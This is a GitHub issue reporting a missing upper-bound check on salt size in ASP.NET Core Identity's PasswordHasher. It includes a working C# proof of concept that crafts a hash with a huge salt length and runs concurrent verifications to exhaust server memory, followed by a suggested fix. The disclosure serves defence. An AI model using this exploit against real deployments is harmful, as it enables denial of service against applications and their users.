Skip to content

No check for salt size before allocating array when validating password #62732

@navferty

Description

@navferty

Is there an existing issue for this?

  • I have searched the existing issues

Describe the bug

The PasswordHasher<TUser> class, which is the default password hashing implementation in ASP.NET Core Identity, is missing a validation for maximum salt size, that is read from stored password hash, before allocating an array of that size in VerifyHashedPasswordV3 method (version 3 of hash format is currently default version). Link to source code at source.dot.net.

The method reads the salt size directly from the password hash header without implementing proper bounds checking. While there is validation for minimum salt length, no upper bound validation exists. This lead to potential vulnerability, as an attacker can specify an arbitrarily large salt size, causing immediate memory allocation of new byte[saltLength] without any safety checks.

Possible Attack Vector

  1. Prerequisite: Attacker must have direct write access to the database/storage containing user password hashes
  2. Exploitation: Attacker modifies the AspNetUsers.PasswordHash field to include a maliciously crafted hash with an extremely large salt size value
  3. Triggering: Each subsequent login attempt for the compromised user account triggers massive memory allocation
  4. Impact: Multiple concurrent login attempts can exhaust server memory, causing application crashes

Technical Details

  • The salt size is read as a uint value from bytes 9-12 of the password hash
  • No validation exists for maximum salt size (e.g., reasonable limits like 1KB-1MB)
  • Memory allocation occurs immediately upon reading the salt size
  • The vulnerability affects the default password verification path for all ASP.NET Core Identity applications

Proof of Concept

Environment

  • Test System: 32GB RAM personal computer
  • Attack Efficiency: <100 concurrent requests required for complete memory exhaustion
  • Package Version: Microsoft.AspNetCore.Identity 2.3.1

Demonstration Code

// dotnet add package Microsoft.AspNetCore.Identity --version 2.3.1

using Microsoft.AspNetCore.Identity;

var hasher = new PasswordHasher<User>();

var password = "my_secure_password";
var hashedPassword = hasher.HashPassword(null!, password);
var rawBytes = Convert.FromBase64String(hashedPassword);

// Modify salt size in password hash header to trigger excessive memory allocation
// 2147483591 is the maximum value for a byte array size
WriteNetworkByteOrder(rawBytes, 9, int.MaxValue - 56);

var maliciousHashedPassword = Convert.ToBase64String(rawBytes);

var iterCount = 100;

var tasks = new Task[iterCount];
for (int i = 0; i < iterCount; i++)
{
    tasks[i] = Task.Run(() =>
    {
        var result = hasher.VerifyHashedPassword(null!, maliciousHashedPassword, password);
        Console.Write(result == PasswordVerificationResult.Success ? "." : "F");
    });
}

await Task.WhenAll(tasks);
Console.WriteLine("\nPoC completed. Check memory usage.");
Console.ReadLine();

static void WriteNetworkByteOrder(byte[] buffer, int offset, uint value)
{
    buffer[offset + 0] = (byte)(value >> 24);
    buffer[offset + 1] = (byte)(value >> 16);
    buffer[offset + 2] = (byte)(value >> 8);
    buffer[offset + 3] = (byte)(value >> 0);
}

class User;

Suggested Actions

  1. Input Validation: Implement maximum salt size validation (suggested reasonable maximum ~1KB-1MB)

Code Fix Example

Add upper bound validation

public class PasswordHasher<TUser> : IPasswordHasher<TUser> where TUser : class
{
    // Existing code

    private static bool VerifyHashedPasswordV3(byte[] hashedPassword, string password, out int iterCount, out KeyDerivationPrf prf)
    {
        const int MaxSaltSize = 1024 * 8; // 8 KiB

        // Existing code
        // ...

        int saltLength = (int)ReadNetworkByteOrder(hashedPassword, 9);

        // After reading salt length, add bounds checking:
        if (saltLength > MaxSaltSize)
        {
            return false;
        }
    }
}

Expected Behavior

No response

Steps To Reproduce

No response

Exceptions (if any)

No response

.NET Version

No response

Anything else?

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    area-identityIncludes: Identity and providers

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions